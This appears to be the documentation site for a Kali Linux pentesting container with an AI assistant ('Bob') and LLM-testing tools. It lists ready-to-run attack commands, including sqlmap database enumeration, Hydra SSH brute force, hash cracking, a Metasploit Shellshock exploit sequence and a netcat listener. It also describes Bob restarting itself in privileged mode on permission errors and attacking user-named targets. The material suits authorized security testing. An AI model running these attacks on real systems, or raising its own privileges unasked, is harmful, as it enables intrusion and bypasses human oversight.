⬡ AI/LLM Pentesting Container

Meet Cyberbrain
your security lab.

A fully configured Podman container combining AI/LLM security testing with a complete penetration testing toolchain — powered by Kali Linux.

● Container Ready Kali Linux Rolling LLM Security ⚠ Authorized Use Only

40+

Security Tools

5.7GB

Image Size

2

Network Modes

v1.0

Current Version

🤖

AI/LLM Security Testing

Test Large Language Models with Garak, PyRIT, PromptMap, and Rebuff. Identify prompt injection, jailbreak vulnerabilities, and data extraction risks.

🌐

Web Application Pentesting

Full suite: SQLMap, Nikto, Gobuster, FFuf, Burp Suite, and OWASP ZAP — everything you need for comprehensive web security assessments.

📡

Network Reconnaissance

Nmap, Masscan, Wireshark, tcpdump and more. Standard or privileged mode for full raw socket and packet capture support.

🔑

Password Attacks

Hydra, John the Ripper, Hashcat — crack hashes, brute force services, and test authentication mechanisms with GPU acceleration.

Bob — Your AI Assistant

Just tell Bob what to scan in plain English. He handles container management, tool selection, execution, and result saving — automatically.

⚛️

Post-Quantum Cryptography

Experimental: Test CRYSTALS-Kyber, Dilithium, SPHINCS+, and FALCON. Prepare for the post-quantum era with NIST-standardized algorithms.

Quick Commands

bash

# Build the container (once)
./build.sh

# Start in standard mode
./run.sh

# Start in privileged mode (advanced network tools)
./run-privileged.sh

# Connect to running container
./exec.sh

# Execute command without entering container
podman exec cyberbrain-session nmap -sV scanme.nmap.org

⚠️

Authorized use only. Always obtain explicit permission before testing any systems. This container is for legitimate security research and penetration testing with proper authorization.

Quick Start

Up and running in 3 steps

1

Build the container

Run the build script once. This downloads and configures Kali Linux with all security tools (~10–20 min).

bash

cd bob/cyberbrain
chmod +x *.sh
./build.sh

2

Start the container

Launch the container. Use run-privileged.sh if you need advanced network features like packet capture or SYN scans.

bash

# Standard mode (recommended for most tasks)
./run.sh

# Privileged mode (Nmap SYN, Wireshark, tcpdump)
./run-privileged.sh

3

Verify tools & run first test

Run the setup verification script, then test with Garak or Nmap.

bash

# Connect to container
./exec.sh

# Inside container — verify tools
/root/ai-pentesting/scripts/setup-tools.sh

# Run a Garak LLM test
garak --model_type test --probes all

# Run a basic Nmap scan
nmap -sV scanme.nmap.org

Configure API Keys

bash

# Create .env on your host
cat > shared/.env << EOF
export OPENAI_API_KEY="sk-..."
export ANTHROPIC_API_KEY="sk-ant-..."
EOF

# Load inside the container
source /root/ai-pentesting/shared/.env

Important Directories

Location (Container)	Purpose	Persists?
`/root/ai-pentesting/data/`	Scan results & data	✓ Volume
`/root/ai-pentesting/shared/`	Shared with host	✓ Always
`/root/ai-pentesting/results/`	Tool output	✓ Volume
`/tmp/`	Temporary files	✗ Ephemeral

Useful Commands

bash

# Open new terminal in running container
./exec.sh

# Check container status
podman ps

# Stop container
podman stop cyberbrain-session

# Execute single command without entering
./exec.sh garak --help

ℹ️

Your data in the Podman volume persists across container restarts and rebuilds. Always save important results to /root/ai-pentesting/shared/ for easy host access.

Project Structure

Overview of all files and directories

tree

cyberbrain/
├── Dockerfile              # Container definition (Kali Linux + AI/LLM tools)
├── build.sh               # Build the container image
├── run.sh                 # Start container (standard mode)
├── run-privileged.sh      # Start container (privileged mode)
├── exec.sh                # Connect to running container
├── setup-tools.sh         # Tool verification script
├── install-quantum-safe.sh# Install PQC tools (optional)
├── README.md              # Full documentation
├── QUICKSTART.md          # Quick start guide
├── docs/                  # Web documentation (this site)
└── shared/                # Host↔Container file exchange
    ├── .env               # API keys (gitignored)
    ├── scans/             # Scan output files
    ├── reports/           # Assessment reports
    └── wordlists/         # Custom wordlists

Installed Tools in the Container

🤖 AI/LLM Security

Garak · PyRIT · PromptMap · Rebuff

🌐 Web Testing

Burp Suite · OWASP ZAP · SQLMap · Gobuster · FFuf · Wfuzz · Dirb · Nikto

📡 Network

Nmap · Masscan · Wireshark · tcpdump · tshark · Aircrack-ng

🔑 Password

Hydra · John the Ripper · Hashcat

💥 Exploitation

Metasploit · SearchSploit · Netcat · Socat

🕵️ Anonymity

Tor · Proxychains

Resource Requirements

Resource	Minimum	Recommended
Disk Space	15 GB	20 GB
RAM	4 GB	8 GB+
CPU	2 cores	Multi-core
Network	—	Internet for updates & API

⚠️

Store API keys in shared/.env — this path is included in .gitignore. Never commit API keys to version control.

AI Assistant — Bob

Natural language control for all Cyberbrain tools

🤖

Just tell Bob what you want to scan or test in plain English — he handles everything automatically: container management, tool selection, execution, path translation, and result saving.

Simple Command Format

natural language

"Scan 192.168.1.1 with nmap"
"Test example.com for SQL injection"
"Run a port scan on 10.0.0.5"
"Crack the password hash in /shared/hash.txt"
"Test the LLM endpoint with Garak"

What Bob Does Automatically

✅ Container Management

Checks if container is running, starts it if needed, uses privileged mode when required.

✅ Tool Selection

Picks the best tool for your request. Falls back to alternatives if the primary tool has limitations.

✅ Command Execution

Formats commands correctly, handles parameters, manages host↔container path translation.

✅ Result Management

Saves output to /shared/ directory, creates readable reports, and shows you the results.

✅ Error Handling

Detects permission issues, suggests alternatives, and provides troubleshooting steps automatically.

✅ macOS Adaptation

Handles macOS quirks like raw socket limitations — automatically switches to netcat or TCP connect scans.

Command Reference

Category	Example Prompts
Network Scanning	"Scan [IP]" · "Port scan [target]" · "Check open ports on [IP]"
Web Testing	"Test [URL] for SQLi" · "Scan [site] with Nikto" · "Find directories on [URL]"
Password Attacks	"Brute force SSH on [target]" · "Crack hash in [file]"
AI/LLM Testing	"Test [LLM] with Garak" · "Check [model] for vulnerabilities"
Packet Analysis	"Capture packets on [interface]" · "Analyze [pcap file]"

Best Practices

✅ Be Specific

good

"Scan ports 80-443 on 10.5.6.1"
"Test example.com/login.php for SQLi"
"Save results to shared/"

❌ Too Vague

avoid

"Do something"
"Test stuff"
"Run nmap"  ← (on what?)

Troubleshooting

Issue	Cause	Solution
Nmap raw socket error	macOS limitation	Auto-fixed — Bob switches to TCP connect scan
Container not running	Stopped container	Auto-fixed — Bob starts the container
Permission denied	Needs elevated privileges	Auto-fixed — Bob restarts in privileged mode
File not found	Wrong path	Verify the file exists on your host

External Commands

Run tools directly from your host without entering the container

💡

Use podman exec cyberbrain-session <command> to run any tool without opening an interactive shell. This is ideal for automation and scripting.

Basic Syntax

bash

# Single command
podman exec cyberbrain-session <command>

# Multiple commands / pipes
podman exec cyberbrain-session bash -c "cmd1 && cmd2"

# Interactive tool
podman exec -it cyberbrain-session msfconsole

Common Tool Examples

network scanning

podman exec cyberbrain-session nmap -sV scanme.nmap.org
podman exec cyberbrain-session nmap -sV -p- target.com -oN /root/ai-pentesting/shared/scan.txt
podman exec cyberbrain-session masscan -p1-65535 target.com --rate=1000

web testing

podman exec cyberbrain-session nikto -h http://target.com
podman exec cyberbrain-session sqlmap -u "http://target.com?id=1" --batch
podman exec cyberbrain-session gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
podman exec cyberbrain-session ffuf -w /usr/share/wordlists/dirb/common.txt -u http://target.com/FUZZ

passwords & ai testing

podman exec cyberbrain-session hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target.com
podman exec cyberbrain-session john --wordlist=/usr/share/wordlists/rockyou.txt /root/ai-pentesting/shared/hashes.txt
podman exec cyberbrain-session garak --model_type openai --model_name gpt-3.5-turbo

Comparison: External vs Interactive

Aspect	External (podman exec)	Interactive (./exec.sh)
Speed	✓ Faster	⚠ Shell startup overhead
Automation	✓ Easy to script	✗ Harder
Multiple commands	⚠ Requires bash -c	✓ Natural
Interactive tools	⚠ Needs -it flag	✓ Fully interactive
Parallel execution	✓ Easy with &	✗ One shell

Automation Script Example

bash — web_assess.sh

#!/bin/bash
TARGET=$1
echo "[*] Starting assessment of $TARGET"

podman exec cyberbrain-session nmap -sV "$TARGET" -oN "/root/ai-pentesting/shared/nmap_${TARGET}.txt"
podman exec cyberbrain-session nikto -h "http://$TARGET" -output "/root/ai-pentesting/shared/nikto_${TARGET}.txt"
podman exec cyberbrain-session gobuster dir -u "http://$TARGET" \
  -w /usr/share/wordlists/dirb/common.txt \
  -o "/root/ai-pentesting/shared/gobuster_${TARGET}.txt" -q

echo "[*] Done! Results in shared/"

Data Access

File sharing between host and container

Storage Architecture

diagram

Host (macOS)
└── bob/cyberbrain/shared/
        ↕  bidirectional mount
Container
└── /root/ai-pentesting/shared/          # shared volume
└── /root/ai-pentesting/data/            # persistent podman volume
└── /root/ai-pentesting/results/         # persistent podman volume

Data Persistence Table

Event	Volume Data	Shared Directory	Image
`podman stop`	✓ Persists	✓ Persists	✓ Persists
`podman rm`	✓ Persists	✓ Persists	✓ Persists
`podman rmi`	✓ Persists	✓ Persists	✗ Removed
`podman volume rm`	⚠ LOST!	✓ Persists	✓ Persists

Working with the Shared Directory

bash — host

# Copy a wordlist to the container
cp ~/Downloads/wordlist.txt bob/cyberbrain/shared/

# Open shared directory in Finder
open bob/cyberbrain/shared/

# Backup shared directory
tar -czf ~/Desktop/cyberbrain_backup_$(date +%Y%m%d).tar.gz \
  bob/cyberbrain/shared/

bash — container

# Save scan results (accessible on host immediately)
nmap -sV target.com -oN /root/ai-pentesting/shared/scan.txt

# Copy from volume to shared directory
podman cp cyberbrain-session:/root/ai-pentesting/data/file.txt ~/Desktop/

⚠️

Always save important results to /root/ai-pentesting/shared/ — not /tmp/. Files in /tmp/ are lost when the container stops.

Tools List

Complete list of installed security tools

Tool	Category	Usage
Garak	AI/LLM	`garak --model_type openai --model_name gpt-3.5-turbo`
PyRIT	AI/LLM	`/opt/pyrit`
PromptMap	AI/LLM	`promptmap --url https://api.example.com/chat`
Rebuff	AI/LLM	`/opt/rebuff`
Nmap	Network	`nmap -sV target.com`
Masscan	Network	`masscan -p1-65535 --rate=1000 target.com`
Wireshark	Network	`wireshark` (privileged)
tcpdump	Network	`tcpdump -i en0 -w capture.pcap` (privileged)
tshark	Network	`tshark -r capture.pcap -Y "http.request"`
Aircrack-ng	Network	`aircrack-ng capture.cap`
Nikto	Web	`nikto -h https://target.com`
SQLMap	Web	`sqlmap -u "http://target.com?id=1" --batch`
Gobuster	Web	`gobuster dir -u http://target.com -w wordlist.txt`
FFuf	Web	`ffuf -w wordlist.txt -u http://target.com/FUZZ`
Wfuzz	Web	`wfuzz -w wordlist url/FUZZ`
Burp Suite	Web	`burpsuite`
OWASP ZAP	Web	`zaproxy`
Hydra	Password	`hydra -l admin -P pass.txt ssh://target.com`
John the Ripper	Password	`john --wordlist=rockyou.txt hash.txt`
Hashcat	Password	`hashcat -m 0 -a 0 hashes.txt wordlist.txt`
Metasploit	Exploit	`msfconsole`
SearchSploit	Exploit	`searchsploit apache 2.4`
Netcat	Exploit	`nc -lvp 4444`
Socat	Exploit	`socat TCP-LISTEN:4444 -`
Tor	Anon	`tor`
Proxychains	Anon	`proxychains4 nmap target.com`

Network Modes

Standard vs Privileged container networking

Standard Mode

./run.sh — recommended for 90% of tasks

Isolated network (bridge/NAT)
Web application testing
API testing & SQLMap
Password cracking (remote)
Basic TCP connect scans
Metasploit (most modules)
Raw sockets (SYN scans)
Packet capture (Wireshark)
ARP spoofing

Privileged Mode

./run-privileged.sh — advanced network tools

Host network access (direct)
Full Nmap (SYN, UDP, OS detect)
Wireshark & tcpdump
ARP spoofing & MitM
Custom packet crafting (hping3, scapy)
WiFi testing (with adapter)
Ports < 1024 binding
Lower security isolation

Enabled Capabilities (Privileged Mode)

Capability	Purpose
`CAP_NET_RAW`	Raw socket support (Nmap SYN, packet crafting)
`CAP_NET_ADMIN`	Network administration (interfaces, routing)
`CAP_NET_BIND_SERVICE`	Bind to privileged ports (<1024)
`CAP_SYS_PTRACE`	Process tracing
`CAP_SYS_ADMIN`	System administration

Network Architecture

diagram

Standard Mode:
  Host (macOS) ←→ Bridge Network (NAT) ←→ Container
  [Isolated — container cannot affect host network]

Privileged Mode:
  Host (macOS) ←→ Container (direct host network access)
  [Less isolated — container shares host network stack]

Switching Modes

bash

# Stop current container
podman stop cyberbrain-session

# Start with different mode
./run-privileged.sh   # → privileged mode
./run.sh              # → back to standard

⚠️

Use privileged mode only in isolated test environments with explicit authorization. The container has direct access to the host network stack in this mode.

Examples

15 practical penetration testing workflows

⚠️

Always obtain proper authorization before testing any systems!

Example 1: Web Application Testing

bash

./run.sh
podman exec cyberbrain-session sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs
podman exec cyberbrain-session nikto -h http://testphp.vulnweb.com
podman exec cyberbrain-session gobuster dir -u http://testphp.vulnweb.com -w /usr/share/wordlists/dirb/common.txt

Example 2: Network Reconnaissance

bash

./run-privileged.sh
podman exec cyberbrain-session nmap -sS -sV -O -A scanme.nmap.org
podman exec cyberbrain-session masscan -p1-65535 --rate=1000 scanme.nmap.org

Example 3: AI/LLM Security Testing

bash

cat > shared/.env << EOF
export OPENAI_API_KEY="sk-..."
EOF
podman exec cyberbrain-session bash -c "source /root/ai-pentesting/shared/.env && garak --model_type openai --model_name gpt-3.5-turbo --probes all"

Example 4: Password Attacks

bash

podman exec cyberbrain-session hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target.com
podman exec cyberbrain-session john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
podman exec cyberbrain-session hashcat -m 0 -a 0 hashes.txt wordlist.txt

Example 5: Packet Capture & Analysis

bash

./run-privileged.sh
podman exec cyberbrain-session tcpdump -i en0 -w /root/ai-pentesting/shared/capture.pcap -c 1000
podman exec cyberbrain-session tshark -r /root/ai-pentesting/shared/capture.pcap -Y "http.request"

Example 6: Metasploit Exploitation

msfconsole

podman exec -it cyberbrain-session msfconsole

# Inside msfconsole:
search type:exploit platform:linux apache
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS target.com
set LHOST your_ip
exploit

Example 7: Web Fuzzing

bash

podman exec cyberbrain-session ffuf -w /usr/share/wordlists/dirb/common.txt -u http://target.com/FUZZ
podman exec cyberbrain-session gobuster dns -d target.com -w subdomains.txt

Example 8: API Security Testing

bash

API_URL="https://api.example.com"
podman exec cyberbrain-session ffuf -w /usr/share/wordlists/dirb/common.txt -u $API_URL/FUZZ -mc 200,201,301,401,403
podman exec cyberbrain-session sqlmap -u "$API_URL/users?id=1" --batch --level=5 --risk=3

Example 9: Multi-Tool Web Assessment

bash

TARGET="http://testphp.vulnweb.com"
podman exec cyberbrain-session nmap -sV -p- $TARGET -oN /root/ai-pentesting/shared/nmap.txt
podman exec cyberbrain-session nikto -h $TARGET -output /root/ai-pentesting/shared/nikto.txt
podman exec cyberbrain-session gobuster dir -u $TARGET -w /usr/share/wordlists/dirb/common.txt -o /root/ai-pentesting/shared/dirs.txt
podman exec cyberbrain-session sqlmap -u "$TARGET/artists.php?artist=1" --batch --output-dir=/root/ai-pentesting/shared/sqlmap/

Example 10: Automated Scanning

bash

# Create target list
cat > shared/targets.txt << EOF
scanme.nmap.org
testphp.vulnweb.com
EOF

# Batch scan
podman exec cyberbrain-session bash -c '
while read target; do
  nmap -sV "$target" -oN "/root/ai-pentesting/shared/scan_${target}.txt"
done < /root/ai-pentesting/shared/targets.txt'

Examples 11–15

See the full examples collection in EXAMPLES.md for: Network Traffic Analysis, Password Cracking Workflow, Wireless Security Testing, Metasploit Advanced Usage, and more.

Quantum-Safe Cryptography

Post-Quantum Cryptography (PQC) testing — experimental

⚠️

EXPERIMENTAL — For research and testing purposes only. Do NOT use these implementations in production environments. Do NOT rely on them for actual security. Follow NIST PQC standardization progress.

Why Post-Quantum Cryptography?

🔮 Harvest Now, Decrypt Later

Adversaries may be storing encrypted data today to decrypt with quantum computers in the future. Start preparing now.

⏱️ Long Migration Time

Transitioning cryptographic infrastructure takes years. Organizations need to start planning for post-quantum requirements.

📋 NIST Standards

NIST published first PQC standards in 2022. FIPS 203 (Kyber), FIPS 204 (Dilithium), FIPS 205 (SPHINCS+).

Quantum Threat Timeline

timeline

2020s  → Small quantum computers (50–100 qubits)
2030s  → Medium quantum computers (1000+ qubits)
         Breaking RSA-2048 becomes possible
2040s  → Large-scale quantum computers
         Current public-key crypto completely broken

NIST PQC Selected Algorithms

Algorithm	Type	NIST Standard	Security Level
CRYSTALS-Kyber	Key Encapsulation	FIPS 203 ✅	~AES-128/192/256
CRYSTALS-Dilithium	Digital Signatures	FIPS 204 ✅	~AES-128/192/256
SPHINCS+	Digital Signatures	FIPS 205 ✅	Conservative / hash-based
FALCON	Digital Signatures	Under consideration	~AES-128/256

Size Comparison: Classical vs PQC

Algorithm	Public Key	Secret Key	Sig/Ciphertext	Quantum-Safe?
RSA-2048	256 B	256 B	256 B	✗ No
ECC P-256	32 B	32 B	64 B	✗ No
Kyber512	800 B	1632 B	768 B	✓ Yes
Dilithium2	1312 B	2528 B	2420 B	✓ Yes

Installation & Quick Start

bash

# Install quantum-safe tools (~10-15 min)
./install-quantum-safe.sh

# Run test suite
podman exec cyberbrain-session python3 /root/ai-pentesting/quantum-safe/test_pqc.py

# Test Kyber key encapsulation
podman exec cyberbrain-session python3 -c "
from pqcrypto.kem.kyber512 import generate_keypair, encrypt, decrypt
pk, sk = generate_keypair()
ct, ss1 = encrypt(pk)
ss2 = decrypt(sk, ct)
print('✓ Kyber512 OK' if ss1 == ss2 else '✗ Failed')
"

Python Example: Kyber Key Exchange

python

from pqcrypto.kem.kyber512 import generate_keypair, encrypt, decrypt

# Alice generates keypair
alice_public, alice_secret = generate_keypair()

# Bob encapsulates with Alice's public key
ciphertext, bob_shared = encrypt(alice_public)

# Alice decapsulates to get the same shared secret
alice_shared = decrypt(alice_secret, ciphertext)

assert alice_shared == bob_shared
print("✓ Quantum-safe key exchange successful!")

Best Practices

💡

Use a hybrid approach during the transition period: combine classical (ECDH) and post-quantum (Kyber) to get the benefits of both. SharedSecret = KDF(Classical_Secret || PQC_Secret)

Meet Cyberbrainyour security lab.

Quick Commands

Configure API Keys

Important Directories

Useful Commands

Installed Tools in the Container

Resource Requirements

Simple Command Format

What Bob Does Automatically

Command Reference

Best Practices

Troubleshooting

Basic Syntax

Common Tool Examples

Comparison: External vs Interactive

Automation Script Example

Storage Architecture

Data Persistence Table

Working with the Shared Directory

Enabled Capabilities (Privileged Mode)

Network Architecture

Switching Modes

Example 1: Web Application Testing

Example 2: Network Reconnaissance

Example 3: AI/LLM Security Testing

Example 4: Password Attacks

Example 5: Packet Capture & Analysis

Example 6: Metasploit Exploitation

Example 7: Web Fuzzing

Example 8: API Security Testing

Example 9: Multi-Tool Web Assessment

Example 10: Automated Scanning

Examples 11–15

Why Post-Quantum Cryptography?

Quantum Threat Timeline

NIST PQC Selected Algorithms

Size Comparison: Classical vs PQC

Installation & Quick Start

Python Example: Kyber Key Exchange

Best Practices

Resources

Meet Cyberbrain
your security lab.